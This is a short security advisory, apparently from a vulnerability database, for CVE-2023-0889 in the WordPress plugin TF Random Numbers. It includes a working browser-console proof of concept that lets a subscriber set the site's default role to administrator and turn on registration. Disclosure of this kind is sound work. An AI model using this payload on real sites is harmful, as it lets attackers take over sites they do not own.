TF Random Numbers < 2.0.1 – Subscriber+ Arbitrary Option Update | CVE 2023-0889

Description

The plugin does not have authorisation and CSRF check in an AJAX action, and does not ensure that the options to be updated belong to the plugin. As a result, it could allow any authenticated users, such as subscriber, to update arbitrary blog options, such as enabling registration and set the default role to administrator

Proof of Concept

Sign in as a subscriber and run the following code in the web console

fetch( 'admin-ajax.php', { method: 'POST', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=tf_numb_save_licenses&data[addon_0][key]=users_can_register&data[addon_0][val]=1&data[addon_1][key]=default_role&data[addon_1][val]=administrator' } );

Log out and register an account which will be an administrator one